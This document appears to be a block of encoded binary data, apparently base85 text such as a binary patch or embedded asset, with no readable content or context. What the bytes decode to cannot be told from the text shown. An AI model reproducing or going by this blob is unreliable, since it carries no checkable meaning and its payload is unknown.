zMnO$kCMz#<mCRADCSmWaZz!0xc~&;Eh8M7cW2Z>8tI`(Cc1%}S1I>s$!pD7&((uJB z-roywz#;JqQ<yn-+RHY>(#7@akUR_L6g(Xg8~BQ6;7MfttOWeAJJ|`NM0cU~Ks)lB zqlb%~Ih5LHbX?c2+a5BD%Q$U$X!YpZL29Pfd#Lpc=<?A{in)=}NybkQq#Q*0fxzXN z`k@O?cTOM64&$@QYAfhlC2s;OXr(Kj4ye2;39^huGnysdb)vwzG5TzrfF`(^^rMiI zFlIoV-juMOkW37be<Rf~(XrG*J36@LQRL7TXI;SppDqZuq<_J0&i2<fso!j$7j(PO zyRFpg@vTb165LnM)b@e8sr<@!{%^lm903INPxC{|y3g>@{BeY`%<7{o3A-~5dx<B$ z1p4Xm+iqmTlzM;+Y0Og7m($YNEWO+J&j53}#K+VRvw7rgzAgtBPh_p0({C;p1#GcW z-X!lG0i(F;dGU9frUH1uzj?Ow8kE_g5dK`I#Q6fosl8Cz6VcF2%<qcr^0}2lX67~# zcFV5i!hAv}mQ8Ld+MYwj-z$R>rsGY|>AtA3UQ4dE<2bMf>VmH$F9fR#el>+ZR*|^% zg2xZf{-izwO1AlnTz%+I7Pmu>Ym>mX+V1GA)_S-GMBfl!<(@d8B5f0ma`1;v6;J=e znWW-o2C3b6xZgeY=+cV?2orR-!JFLfeUhmeTW9fTQUhx%q!816YC*ks!jSm2Y=eA> z3JIf#qM9Fm(nrH?5Av3}Zp~5+aor`zcage=*iWmXt`&~ykV3aa%?Tm7!i6Pq^8Bj- z9EL-cA^BYYE)+nl1AByPE&;C+Z~X)E-2&zIm}~trp!ykrG~9BMSDOdqx^`iru7{hx zGIq#p!ojOTxV(eSL_AQ!2zuA$Dm9%pqbLu|2sL~-T<gTfh<0bjVcU`1ATWh0EW^Ak zax@=|E>`n-=rt+}2|s-u`;>E$_DsY@nvud(NvYu!`t<;keX-ad^vGX)4(@k8PT9&i zw<fmx5=P1;sU~2GecK_G__h;BeO`yqjJg5N0%MBxM5EZU)2|W*ta8~*le|Ssa)bIW zbMKHh64W9I=n+}E0g46?s|hb~(frO`RQ;Ra&9Yi%%`Dwh|99W`_2&kJE2CcT>xiTj z%wdop%TD1Nhg;ydZTllu32Zpzl!>EzMyNpx`9CL>?-!N|#QnxiKD?!j?rd6!v=eFH zVco!%Jrl@cCYKuS#!_&Mk}4S7X)>h1hg*2$HXrg*5oKZ3Z1eR>S>HL6z24V8ze)Vs z0xe^u<BbWp8hFpbv_160h{ZMf&qk^fAtHULY8(if(l=Db(1`DAL4fR)d(Oe%%WG8b zb$_qMC|{TSRP!Q~*({@2xyM0cXnUMRXskGzv0U!trio$ihd*c@i8Az&ui)>-X@zv% z#V*NMp7fE%1hGsi66X<`*lpIOM*R^w-__;r3%lUw8Yoq|Bpb7!ZJ?V549RVoJ({iF z-K&_Lf&(S5t`d`Lles=2INF5AqDH#t7sPETWBQy>`opp~3liG%RqD4lUsz%zvVQjR zW3{Ey$h&a)YAXL0qXMFJk;@6U@F8GaSCc|vuI7M|@IqAZ)Zk?BTl<FhV>(!U@QNG= z{8)=qcg*8z^fp$VO6HHpnb^SH>2Z_?hGI7{sYZh99SgyTv*jLj_^rx76gTSIq7Y#P z_icXuf#O8&HPze3xbG*gFWWG+cgeA!$Gq-|=Q>pi9Z~NAn}FR8Li!ou;@@RmI;W9! z<*R~VcCH~StKYwyZ$BZ0p~#SbAC{(XBd_g)=8l++EEEYX{Jpw+GI$BJ=K25s2(lu+ zWSX>}0ml^E^7%6V$OA2jj;3g+to!72t%?J2RdN3-W2$)Exz$U$J+?&O&OUtuWn7C) zW7yo7ZlOv2g}A~i=i{CM<Vrfuf}H0u5d>rc7u*~!8ec|g$|80yc5@-4l>NlJu5>cD zl534NqI2|ZxKjD@ELZj@FMePnhvFbF-jMy%fbdOO<0UiUrCc4SS6u=G6ny})AqgEo zbiGdDdl2|`7a!q~J5Tf%B&W#Qcg0$d(QWMCd_R)vL&p5kf^9kd)`Q4X%jMx2Ff_cj zRp&<SzfeXOJ^W3;zoA_8df<_X_{f-N<}Pi+C5#M~X<<<XUy>JL2$atKyh=dzIdX%M z)CCpK5C%Jv$G_WBMAyo_(*+d;RnbHQkg%uv*#~F<yxP~}^ADY7?wYZ{CPhMb<$XCi zGFghns38X@gOwb&et$uHw^HJLUY@3{udc<aVz<AAAAgM+QmC6+RZF5|yw4kbXwz+E zUPg<FKvw}DTz<~6#GipHYccJ8`oV5d89$$(_X9abih`ZK%)wH)$#Q?_;w9OqM=g&f z(g4k?3zwlW?gkV8dNZmkhXAc06uHo`fP#QDu^fgxk<v)pY`K2Bv*;8a`!B+WWVa+M z9GrJ_nDfmEWZMKXN8Q>+;-xQh-vz>Qjl8*kE6LX^F4lx&{sdpkfdLN-E5RF=W5P`F zGXFxssd6i};ui<$BX!LG^2wJ9t;CaeT`DlHejMax0@q017`ixg{k~?>Dt1ve82`5L z4W21f&Q-u7uB&eEyJ{@_>+IvaeN-cP-!{JxxyR(yh)vklLmSRN*qC~lp{)B6g2rf; zurw+dNi3spPE#iaJti?SMfNew=O1+=+H<g$%Y%>QTSU8BbL}gN%+YHdDs${PHm;}Y zH&Dl7DP|O371V3bXU9OfZfkXAmpT`Et43FG`&U&d9G_$k<CK9p3-at?+Mj$T>*i=y zD#wHc&>b)Fc05E<T-fFhwOP~;QA%IITU=yAhS2BWD<(4l(pYbqlB<?l=yZ0YOO$4U zdny_E;^1aW<<KXZV4{J|W|+@ny~(39^*k?K;$>qu+ybhH#9jqB&p~TQZ<*W97mxDE z`YA79)gH_vM(*VA`u;ja=wgR`Y)V7dq)>Byw}Nxz+8|*iCTpIY@Yd4j`dgRCBNncf zr8>`@HTt>ttVsind0k(yh<1AG)Tgnw&pj%ItWGcd-Jh?n+a`K;!KcmKTq7s#1oBLg zN4r;GjQwnH_eC~FChq#2gz$vt7b4U7aw@dBp(eI-Ml+n1-?%aGKyqPTvY50z@=PDy zdlJ(lU?~t!Z(<2XT<lsovYYG$FUz$xurbmyvkN!2E5d4g2GCp$6jDvv(EaHyB^0#) zS;yLGZbQ;g`0v6mn!!Xp8-$ZQ@)kwnVXIY|s(t4+j5YY?Hx!)gW3@)Ln`MwvvY{G> z?&{%{ovR}a*3Bp_f0|FDimXf3SBGs*BN`4KzMyA7J73EGib_fr`SNb>dixPaf3dCk zoSXfRr|y@$Ft;}kiu>OKjs+YpkWm)}tK!lgq1kfg+D}&5-eq}zh;1`^JyIn8>`C8{ z%5_sP(e;j7kuz;sdipK?-cbGalU@iKP{b5VC?cOp^Op<qm`I@i1@7SN!oQT}{U_w6 z{xt{W1b0f`|NglCuwM`-0r94ghwQ7U<ae1~Bgdlu!R?pqfO_H!_mjD|j|iM8rL_5; zbE+ss*f`W^sI6@U)s$nVxO>h1?Vs0auZTN`6y^B&zK68##s3Y<U$o$`#NHziH%Mm4 zldSnB`Eb_OvP~##uf-Hr{P*g?`fb*xvMC<kyzY(c9*GHbMlDKC`q+%a^wr;QUzE?- z_tP@GGGd^qabbF$Gs-6}iC_!X$6+~V_L0BIdEX?;RW-KDmlhN$RqxH=JLzCD(U&~y zhTU(C&z`G0C9FN&<NKA}WtnjAkAvTG{Ctc)Y(uAJWL$+rXq(4j7!npW-|KQv2G?k$ z{MLg8qmyI<Q0XbOZHgAHaY_=3jYbQ~AV+)NW?jkgi{}Ihurqc9n}RY5C!-0;aj_lt zK9AZ0?Y2<va&(aFVBXdso+B|6pm~`Opl`=Vm<@M*s%ccnt>5)+UoR*NIT+uM`L0K_ z`9rJf^&w?FIu44LSKFr@MQYNxSa%vZ$JG=PR!NXmslpl`%seZ~wu%v})v@`}OpF~W z3=}o5^PRc0Z;H_t9yJZ$UGB7(OtNZ@XZEq)M49$=LGg7@=gdR#<`X)Nt<%G=nj&tW z-_wxC+fL4W>TQ(z>XqZ3)^T|xtbk>Ornh!gapZ8JA(J~Vj&YTqFGCaCQ}izJoy_a+ z3<(SonCs{038;vHQR3Wb`8&s+Wn}D|*ti_1cFh&<aP0U7ZWWM4oC|JY^*g3Yx<AM% z-tAs<T6nZXZ|^Qyb<zG&k0BPzlp1dL8XD+7jM!M)iqD(Z)N=dzl^|Mp4TJ>YJLu@L z{U#xDI1<?VDI+;Vi+MIgTUfNT?d7X0%WR>qMe|PS_Ci0;TJhb1H=7j#c?0q%FVbYU zmfSKdY!34RgcGTY4-68Ju#`Cf>!rME+NV=CMbJc*@T}%sq`iUFhxCK7gVrq$AKfRZ zl&$r=!^OMxs8n^)beeQ5V!F91RvDK=F)a2<eoEsf{)=q5yUT-a0QW~Q@1ufC_&&{K zmbdm;m%JUU$RJ9}Z4J{jEzWIhxbc2o10uTeW%~2#ka2ZobL`nJ6@*bw<x2cMn{d+? z<`@@YMkZCpcrShV)K-k47B;4&%Xd;+6MBsCI2>v%GLMb_^L*vkz*BVq`|(7>iYfN$ zJzZU+Q(KcoX)Hl9wrL|mKSuPDgNDoNbqL=^AY4lSWs@AIG^D(9%R|_XOvCTg6BgH{ z<v<KFU4^XasgccY)Tn}fd?U)I$Uj_?Q%#YuyIhep*z<f=oKbDZNu%=^doATPEiGEn zlbI`{JJgkRxwEa5rR);z;XL=EznWk9D3iv1!o);z8$}o~6$vuJ(bX9!7`tM&KyDta z%cvf9>}0f$?~H4R7nzFJtYoV2^vT1(o6>PpAOXqPm`v$r%NW2X<^#wX#TnMw_}e!X zMDp^cyeJHE%I-&8u^&rIeVxs<`~jrDG|}}pRv@!ue8MF>Pi>{Z!_0*Z^Rk5RuUkw1 zX3`FyC056;8Guof2`o3Yp7fPKl^w^aDsi2j6QF}7>J7xRokj}(bMqH+h+1K8vjbg4 zNLs^Z6q_b$4kfR;G?F&9tjr%8?LJkeZpKumf5q`Q{R-7RG&$)_!IaO-Xf9iSBD(JH z|Ln1<Y9x$BjgmX%YPmdf5$0U#&BK?>oL}J*(&a;6C6R~A{?3JM?MsHk>;U0ms`F(Y zi8R>y;^!NBo}t40G)KG25J9<k;GT$51v}B6<LHEHzVH6vrl%ZFy5d>m$b_!ojRFId z)zu-_b|f_eUVhX*cFeiu)IOGv3gJ*6>V#<rYLa-%?q;=|tBTIfFziPEj^=C-Y3(cQ zI5e<Y5H1l+ZN+N?XK3q)4PEWWx8TR>qB&af!xe|pIr%AVcA>DGrt#HDEt|C|wkg^o z-L8*w0c4vMg-;bLfin$ox3y>sl3AZg-pWxWkicdYi8rrG6j$i?&f(JxgfHPegnj~u ze)dP6D*5AwrP=S~3Sx=~*JHpxkg^Fn-qN5RgDKD0=eefF9g7KnYe+s3gypo<1}bBC z8cM-qrQh~u+i95S%joAsJY-YHBtru`T$HTjZ0WMD**kpkN(WgRzkS|_Ae%c3gc7X_ z&(wxE=$g~mb7^Q01X&-MCfgo<sj0FG2}VsH{2brA){%>9PJ<rVefPG&2@N4zrr;T1 zDOf_&!_@aGt?IN^{G4C?Hq_clrPnP}?I$x_@{0eCxnfF)JwK(NvVyoK|G;jDvKIPq zq$R%K>)GqRo^hBQ^%1p?<*&-$O3NOyn6isDM#7?mUN7h<!lB%}#0;%^pa#DHbADi_ z(n6mZ3vab_Jx`<qm7EDDPH9aM-7_HdQdqow7alv*`D@_~O~cfBO+7Cb(nrxm60(LN zftGMp2R@R}?WiOlm~h_<`)-++E`r2sC!OX&!PEF_RynN1piWu49tEA4KGJuX(!v$; zWCV)QYB1Ik+O!n{OlmFsPdD`by;2mB%CVL^Wo~EZPE^&+FLn88`SZF*y+T*Nz<1Wp z`^S)Yt9$jKr=UaLrzf3fz$v`iK2r<68}nVxSERQgVQw1i&(zQH`t}x;8cH6Vo7k05 zS9kSZ_q&c1-o)3@1pie8|4~v=TImiX#F;YwD05-o;SdH}-?2=oe_l3x`&%t!F*{nS zvfeR5?)|Wq`(cxWa3fwZK~T)`-`?vgDZ3fv_Lv$bv?4ZF^uN69l*prRo|sbIJQboP zry)|U_d4&zNvS~J8K;`!YJay83B4Z$AejlVxj8)o$B?ccMwP?&p&jo?8myOfYoazr zD`d!(`i)}FkR19@qyNzBEkHk<c&GNx*i_luJHhmSsyx*g<&O+HPQAo<t2{-)nCn;L z$B(|!TdcX#Z1^&)YYpP5J&gLLecm|~J{aGhre9*QnV#~`fVM=@2bb#H$jtb4+m;B` zM<94{$HO}~Eq`%guZq7ldRVo-cCiMf%eeaEGe9SBTt7K3DsfM>1kzUcZl<)S7=(c; z|E@ahZAinWA0>|0!fD)X^3Q)J)^tc`LgGhLs;RAccMH~G;Gr00Uo%s?wEeXrwWuuH z0|n{3uar};wLNCdvX&aZB0Ps|k}y<J-h73I9nP(M&+q3KkLb6%OEV9H_BXM7C3IEt zSn~Mi0xe-p>s!pJq_>SnR`?oPw62;kZc`d6v$w)1GJND4$&0?2V%Ph*@I49LZ#rnM z{uxXuZK1^*FRtGPmcFGG1sce*3iy~-lo+bZT5~Mi_?i6RP#=+JMVdO*F=EAmQ5H?@ z?sxv{{U<X{pldQ#@Wnk?7Ol4}cJtjrFT0f=Z6s$*!VYIlJ3kq!Hux!;r`E{U*LUr+ za0?He8yuvvWsL)d+qv5+E9wBGZv(DQ+Y%o{Z_(zZl9#s}PAy$xx<ldQ>C{Yqx=ZUU z-U_sc^s@*G|88Sy+g35v8h;NJ<hU?Za=aKea}PZWC^Ioqi2S$Fb?)7E<}P=-3$7X- zIeKEvXW-lb<VLN!mBbExo``5YMFobfK$o^HHaG3vCsW(2(!@tJxb5S^i<!S(o5oxc z+gxHrT#bXx8AKjPlZxda4|an-NwI1?H79FvE%FQDp=9aV*2}n@o>B~op`C5JBBJv5 zI@lj8aOf229^ND*tDk=|&kCO!e=(#1|5@;V+t4l_@pXX~U`v*g<Ruc9I=4BUu$U-? z<CL=FKX@Ie^WmLw{|KnJ_@?osnHS10H*-d)W|di5CPOV<5)yiQVQ@hpGeOLjnFT-P zk;@oOaxAnP!vqO-x(ky>TGDb$AEx#&!@53)xNnnBM+2p(YQr}oOPo2~j=v=s$6J?B z+Y2hpEA{`XI&{__6;~(4j?QD|xYoVbi%qt)s8b)O$us$sB!@zYc%6C)P?yJJN>%Td zeE~0p%HgO}nxcF<UK*4uKFX&rY6F*AWEuA?@8)PeZc%}bdS601IK$l#R4>d$1#=}0 z!&H@p$tmu_@|81@F<aaBvSu-q>aS#8_pZnKe(>Y4L)J|1t{!sDTLhX|fY~5;2A^(I zi&BFGQ#Z^+9$>7vjZ|#XDa=KA@x{Vdk#zWOsqV^oUqMxGAup0ts!mEt_1GCyd=C<I zpT(_-=p#p^!BJ2w+!66pV`BIwmR0VPH?_n#wM`(nC_2fiJblvE*|6bT<38{b;J!C3 zEvxl3$(J)i@;8h%{*&r8I0Qwlw|)jRF^h!r8_n`lTWKx?YT;N_Tg{Z@?NW>cBYh5z zOKbb0jOukkHt_Do=Zaa^-sUL(%Lij-nxcch2FeJun5zS$8o%7};(%;GE3Y3b$ySZ9 z<(mW&d(pY9nx>ZK&>m-pDxIps{`s2z`+9T-MN)v^R?1D2yU*;IMY5-&Csw?p$Q)h{ zse_nZ#s=aqRPHe)8Rf_yg+S!*V0mCtz)~k{E=@v)%g4Z#tYe`Y{Thy%ufP<92iB>J z<CY3#3yPlW{`STzy4pJ*W9#<&!hStjb;NqaT5{8XE^<wD1^f?Ok!#rXHsu!Zc-V@` z9^oSdGr?_q*GOfhx5vH&wD78`d1;gAdmllOO4%umRRDN}RY^3^xpWivtu6eHF`1q0 zV2CUHr(dol;JY~V=@u^r$oAzewq$E!7&qE$7X6@X_PGU;&@MIyMP$XI%k{_X8*!sj zz1_Qr`je)lO$`k;4$Kt?`#mh`g|}l_=`_yc{M56PaY}KjAT+sqf4tfp6TD7*K?g;J z!wD(z_5spl(?XvnNP!vC1gJndTd_r%7D3fB70Wtx`YnT!%pxiihzyp!=E-mbJOG<` zbGI}fU=ts__OV^l&@cLgI+)gez?>TLJ%R48dUb6A>@sl3a`mC2eFN`9;4A(ow#yjc zR|_EXdt#;V$|eY7Gs=!U*uoxti{&#_g>=i`ca-Xc08+=)>k;c^x2(x?37PGXuMJb= zmt}g>+3A)hY7YE>$Aw>-Q64U&^0)#@9)Y>|P@c?F)+yx?2mSikJCzT-5v0<*5!ikm z(ih0mCE5%{N^*u%%Cl`Kd3CTQ9UlBb`<ilio0~Dwz8}b(kFQ@(&~ZfGq<m3x9*Ao% zb|&6-aNa<>vUpv$vcCMwPC*jGMCo(5XIO{uh#;Bq>~3NL)ga8I86ZRR*Yp7~CgKw* zHY8mqiqW(s;2s!2w2-?P`}@aA42wy1z3?A=LqTlF5A@9mDW(N}wIi_nTAG5rV=MHL zYMS*s+5>Zx)V)+{`c-rt6MSEzPTQ&OlQcdfolIEYa7pVYPnWU#tm>WY1mVC~p4!OI z<$4s@zTl_hLp|G+dfS1gBhG94Ue3u_u;H;%%}>Q92zTHiD|^iEld*`nh!cK3#KwKC z-%11I9sTuO+@PByI2;YUHaUrnE7(ia$TBP`jZ{fbw4(1Ap5W~QDt3ce$!Ro2eZX0I zw`8say{X&4<g6FMbR02Jl48RAVl%duQXEE;bjZ@veUCgmSVp|6`jXt41^jvg$4ymB zzmY!%_VjdWYSKU#`kaoC(!B-r33>&d%;rf)@I*$1!>+y^fO$jVUlJH=hTiB~v|NOB z|M;?D5T15lF^d!+-A}6Av1XCsU)q~)3_C^x($GlbNNBP<WVSE<`XtHjAE9rA6YeuA zh&S;5v&wYNG_W#x2`S-q0tJt7N17^t_m%VtX1jBqg?1`jGLvirjid=hIrf!WAfqzo zYhkQX<*an3+K|E0q4A}Z?q0V;!#F8ugnH$lHSukXjJl(&uN$Q2kZt}vxi!y}a?!)9 zgv4T+UT3Z8Hm42!L#Fl>KaMw)EAK}PmE`8S)6K|xdqxYK3#_fnkRxNYvzf-K#6HQ; ze{glCxlo#^$O$H_NeQh*)3xmM{Aq!&x&9@cMI4oaOW(&>9f<2NZ*ay8%4~LBGjcbt ztJ)Q?^EY+xEKe43A*2^E^~PG=?fLvzW@Ft}jnB;dn$DP0HcOeXV5MTn=;>7k42a7B zv}XGPwiK9wb8BwKP`3pyA=fF^Fe6YEt-B6>Mo*0y^)OB64KJq;-g*N*OlC~rRueHh z@~V))1J8#MJyA^u0ZC)9UQjr@$upVCn)0pYTK9;m66&GgXn3OH)h9i32^!e%pd2EI zpbI&;=PDI)Cy;lgxI3Z|eg?ptcKhmKje`tV_6L~1DLxxo3Chhuc5Bl(7W3#NLutqQ z6={5nMTZ~F+h9l&vvaMb5huGVeI$Kb{v6x%{Q7nZiU^9rP3pq94j<001xP*;=*;%m z{LG&nxN?f+OBVmY6pN$fX5UATTHY$4NT?%iMy*gGnLG`C^PQLJCzPUP?-TzO`Rz7C z?!kI%&_Sl>>|A<xBBw6v9!R^R09A|ljN6ud&hwXM0Zl|I!`OI?O5fUis4dRcvSMZ6 zBc;v&sTHM`F%cZJJ&Hi%_nJtUIsHW>dZJeUoa~baugm?EerUL86(l#VLcd)gLLqt5 z_OO2`d)i8R2E6&vrEvdtSKFiO%B7C*yy{)unkdZIGySR7@wf5|bAL3!IB+5$XN4R) zDCW%yR|82+7s7bFQmGN!?DRP}UiZ`U7f_wz7Fxrg7FWFZORnj-3K3cOy&@73`A7)A zWJVG8<20vKzJ*g%N0u77JZ8=u(@Y&X3$qQnkM4eWW8ZOkAHjdcjXav6KbazlVdidA zbvv;@`5V^|z&E=5)gk{cGhH|?4m4v5r~a1`5YOa4vwsxxf7(a?R(gIxMzJantIUR5 zvhP*&CSr%Z;*w&9ELs*d%iqNzA7zg*lz)2$1by^;28jRky+2!CmwI6IT)snpiP|o| z)SM8HB@vjqd*kg<oa7$+?y%cF1AIUa=Kt;%4m8f8o&Sf0_<w0Zz5_i%{&{)PRk@co zr*XsOr-%BRiQ$0ZvpeRgf1Z2>yw$sY3Vi9Jx!!E+jWWhJOPtWl{O8%|8|CY^3&NKi za~taumm_7h(BJS&tbdyH?M!Ta24wWKJ>J@$W+x#hZC+>;{PW}!ZtL+Q3hRrtHsl*g z+RrlfF{}0SKTZBK6}H6xn>7DMum2{^e{;?M5g$~>-<!|Q26;<M1I3*KR$!J*_4f(0 zL6tLq*^~bv<G?`83V*g*5|AqmO*Iv}UIq>--v07Q9#`AlTRq=p<|o{FX`IG&E{$s6 z&OejSfE`BnXMk7vjRxxaG8+7)OtGf27GjYA5*Ms#7+t3>CnWoneVLQ<M|1PV@y`5@ z>WhEV4W8S<A@f3<tEHky`LXq!9^lVsftL>XJ9#ab|Jv8ID?rgBCrlt)Q}Z2@$Rv1? z(*0=`F9$9C&IC#uO2jviucc=@rMleIiY5LG_z`eP+ZJpbMxqd9!IoxVO1S?<slkjn z)_pI>9#&ZsO>F6r8@UrMFCrJ3Ul-0FkDdKWi-)vC1Lu__=XD4FjzDVqjc&z@2B>=m z+<c;Vu#Eoa(@G_8c@jZh&u!29i!;+E=wZaWI3mrBM1+kGt~dytAD7lq<Fu-7+P)#v zX|lp*o<xb}NaKteRX=SQjA}KXuty|st=)`SyowL$+~Q^#mG}-odmroevydk4$l|59 zu-V`xCI)^P=!@P=la{~Kjt5PQw}m?w<f$eM&grp8ITC8nkNjr$SF4W7M0DP4HZ0M$ z<n_3G@bDg1Dgq5-^aJ@mzC#XHJV_$5KZqQ0SpMfFKY5weysugB+>jl_&LQZsSBgat z(GY)$m+@=rlJTUw7HKVoPJ%ei+zS`yiwH@EU;2GLR)=i6(DQf>$vmcgvG(B8Taj7t z`F&#JYh_Sl14Pd3cW-~?7Vj&4uXfENn&@kwp>OA5$WzdZ?(6V-3G=A_yHkf|O&i&3 z?sDf+_3O@Sl*f`}GCA>v=1BdZm`tXyc$#LEv7{Na2-i|!>qVVi_~Bt{Bx#*Gj=1#- z&X*wGX13S-_kN@&sxvQY5v`8m4uARoV(%^BqFUGX|1nV{6ahg}L5U%x8$_i`x<Q%& zhVB{(k?xR|mTrbdK)R%1XzA__e~TUGY~616`<{KydC&j+{d`1SGt8=4>sj}GUElkD zK7+1a0xFZG@Bh(xEjprIKErWbmY_W#nlV@!XX|6^*3TPVw0Tr{QPTb{rpF@u5xIv* z=m`80DK7Uu?|YVAYHP#V?4dSTn)0D_uzT;Yg$41JjhzeJ1x~v2gmrnb>#KwMYB5H+ zj4mvD#?ssnQ4(QdVPeA_qeKqX7OA<{LyjS@{g98w{En_g8E+Sdeb2b9o16&Snh_J~ z{WUx>p49>|f{Fr_7uB-YLRWA^^{BgMRVGeohF}ZIuoE2gGbVxGE=YupPe!Q^0<|Zg z^;MqU;tHPv^aul21kkX<b}E_VGYFq(<F-=&%qH-?y9n1$S=<fRyGQ%-idPFKUth4$ zJ|l3Ie{s1-fN#WQ^4ZD%b|YVGQGf(Z+ddm>R{hHhi|ETmd|$Spr6T#Tug=R?i{_8! z1TwnSWWV|*CBI&7u8$=Au~R?J)Q@ZGKltv`JqS4C6Eiuh9ppKp$n4^ovabIOdNT4E zH2EI3nUR@(q8aeKhc-*Te*IQ?Nih1OiK`=3$n%5>oeaJAU)?b+=bY#N3<{i!2U<7K z0a3`4s;-8koP;zHtNUt8%+Ko$Na2PeL~IX2s7r<CSgu{YU2a8226r1$$&O1hwA_ru zzzyc-gQmPBp2WwuTy|3nvf7mAudejiTCbJczw`X2MwD`>O#l*!A&xoQymv{?$B^#W zl-0e0sFk25n#3G3FKD(_KDr?znel$G>T5#_vdtXk+*XTiQ*~T`MKSFC3|hgjIbv2C z08-5n^wS$a;^}tbGpI4sV>8#g$!8ZR_Q+?}#M3|u*WG4#t=nmxyI-zVOrGje7@g=% z*@8@-`0^k5A^2P74E-D9Qy!1E`;Z73Sl!#VKli;l?|t=O^>d*I=s>X_u$`;B(N!Oh zW>9^%H#Y}5$Ix}LA}sPH*`gZ5-_FaCKrPW0>B48w?n;rob@VP4?JHcKjf_h0XAt)w z(f%pmOuv$yQa{`)1(NYq)oiQ)2Brem+yhxPtk0l$!+_(nK3HAGM()Y63T$F8XTY27 zjUvAM31u!a(CehQ=@c-wd8TA-<<FdQc-D{Q4f*ifsr<obSn{u6^N8uQ&!A$W-)t?j zIMH7hTL4%!a%Nr4_9`F*!4Ltz*;qfKTY%vPiT4+KCGf@OR`ru2Uj;S%X0MWdyE*G3 z$@aSDPc?tvDd2(mo2^wSk<V#po2mb1uf9G9m==$IoPr;x;Kx<)A9y3k?7}?aaPvPF zb2Mk`(vJ*FP&uS&UZOIR*<E?ew7?YoiRTcDspc37U`rNK6Ie_kM6`n$C*Y5av04Jv zP686Hv(u#)l%BO*(*IPMQ57<|gv-g5kyyqL*}$<<56OnG=p@jME`J71UE63ny#OQ% z>)t%S`G0%ihJEp??65VT#AHbo(g;HN^(&JyIupeDO&!7L4=T2osRP{Z_0AWR7Q+il zN<Frw#`SL-I>nxh1-T;eR`W!>9ckiKJZTk?SZ)tH0Z%>aOU!4-f=5$H(8p6j>%x#~ z)ZYN@V0f^0Dp1Kj$YCEjB{P4FzG9wF{9K`pyk(aaq&Fm=d|*@0a#t>&pfAcg!ekav zgrS0HRWgKAy>1Vo%O!)5Q8iK7t*f9n!Vd2O!1^%~?U`SA4$t7Y2<Inn@=Vfygar82 z^-n7}@cWd_-gtvUjGuLNk{2Jc$10AAf+nneD#6tL_bLeapQ<1PfQ0>qNF&b<w#3Or zx6dHYq%-UYU)Taw{J|BZ&!Af>PFS%)HXP^&N@_q<^R@ssiAi+AN3>B?sRbz9+5n17 z&U4^By^z>UWBv83JW~+crZZQ-2Y>k-wu#l$%@?S$^5u(|u)3bjfYU2LF$C!CXV52b zK%x(E+0a+7k^>K$lxd=)8)Rn}0FC5>JP{u@uLYoTeDNyq6#3#va=5*zT<8Dv_%Ic( zbk=`)&;lpav_N6%M@60uWc0K9rAOoiH)3CZ`C`DAXT)qrQv1%2)AZvs{kWQb+;qPm zn`GqGF&q^g^te(Q-}znMERrHGdSwH?c&%B~|N5dz3Z^1RZp~|&z@|RDKp7(Mby<q% z&E&|38K4DStAueZ7};C%&&QS&ZH})8sl4K@n+DD#mHz9pWw*QVH6Li)eTa!+_6lUB zbqD}C3P26qudRpwSLxTU=}l_y-wN#1`E2Ps2h^`Z&>s}h%nh5jzYLL8L;%8e|EGYM zh1?8S;Y!VX=fv45?SbTJybh4uSOW&+BCIZdo;LJQ$@?hnn7i%FaTR!;10wz_qTxOD z?fG+eG~$GO9!+}I0K62xa!h-;eeOw$oMFQBhGAW?HK#}F8%Z&25@GMYvk8CGS#G(+ z>h!ZN0NIS^fF1ADObP5cMVuT0>HS0skbSV#{{#Dg)g}ftc7C*IigW+bXOJd*trfLq zS(}U9DmBGa|M1NFsPSw<IIjpYlb=sSpOKjbsqzAmQ@fOgyu3aW2<Ao{3zS#+_iz!& z$pwW*LQxDrpc!n*U|wmL<w0+o1uzk<q`HKvs`ALgnT<k~JkwNi&4BjW_swI)X5j=1 zrZ{^I#;CO7l-GM#UATO~O^bYWP0dB}gRo&Go09{e>Tx0rI53`qqV>a#V&I$sMu`fQ zqnA`Il&kL*^<=Q#r3YG1KA@|C<r|5%IDmj^?-r0@cKfL!)u|s6ygqdhI;DWW#gEuy zPX7#gJkoW%F#(*k-z=z0jH%Y@TnnGtyB9=)bor#SR>o{e0XfYk7qTZrB0}1(6{B46 z)Pyv54r`)_l7eiOZBjESCP#X%YXvHO<^qr3pQ@<~_|5;TJqaI_1n>1Hg<;pO8tX<0 z1tsbGis9UIdy&IZ!izg8>&YpQrc!H01v6?#zALEIXcY~aymjmG3K}}`t=b(%iwYGs ziRjOu{9=ittK+Z<kMraI?ZOey8HOtD%Ki2BQe>U2XZ$_ttkn$g){!|qB9^hmE^z~~ z8&XhpVdX}#=#(%SoME*7pimv<K+~(d>qC<5$2UR`<L2tNI&Q6Hlev(Rl8E3w|DZ*z zZQ&cxE^EI#;a9V{{uWkaagvaGKT~``6bRxp{}IXL-}RZlOEX9EwanWAmluXTc%x-V zW;tEy(P!0}{uV0A{$x;%B?e?ydezJWq1wd5fcqwgGr;}Zk{hg_Wp`tayJQPM*yAJs z=Pio!*I%j@O7wsHfA-dlw)fM`H1Ufphm8ExTk)ZG1t{_D&Q{x1n0-d5@qi{5!6K&% zhA5GZyT_o=dt3>fA-vW+9cSC1Q=2e`7(=j=V%%>d?Wq>krEhCZe09&o*j$j<ez3Jq zIxokGfb5kOe;-MIO<s{ejiQoRfVs2WIKJS+WA2q*6(|wyCgIrYFy|N1`+-y)XYUTF z+K4WB;JG+kG><fL7jL0rKG1nl4d<?>8+A%hpg-gg)ZXg+G>mhv@FiUw-KaTTdo<p0 z+E%VVd19@F;a9ikojUU5h{lNuey5TGYy^W#7%q<&R&BRfHs~l*x_d-6&q0Xq18=0N zwx>o=m>U?ymHrx1puoE<yOVnkGatf_!VY34Zj|NBD4a~}>TpZWt}Md+s*AUwSe$Ni z+);#RCHn3bJ}oUCwkbBO5XU(=YmUdYttim<1g}N;SlqY=Ay%lndntAg>PU6%dZ=5y zM_k=+c{aDOji#~HHaBt`{Pdj%<!_L(>&8$U<<LTBl-<lDZq{C;rxSC(tl(}7ZW>*W zs~qTzNNPzLqE0MsKhU!d*TEZ$^ue%xM<BFt#W9l)zgoj$u$m=_l#mD|MSMB#T9bZe zvwmVa_}-&LZwk+UBtQChedd=uY_VvOXQ1Y|>2UBZpzR?W7yA+RN(RV!FqZlX-b!Rs z*;|&C1s;!YXsrnCzEANCI5t=Oz=3{{QorTJevneXA<KS{Qvd%VrI@bl*WqQNGVkq) zsbPyKL-Z)~VoE+x`&VuHo)eGT2IPtFfXwDEwP*f&=MZ(l1Cq06u|#K8;nl{!5}^+B z?(4g6D#=nF<hY=0+|a%OHgLFM)-p1SZxKiDoR*Ds#<GN2jcFY!N46L530qJ+r%3?8 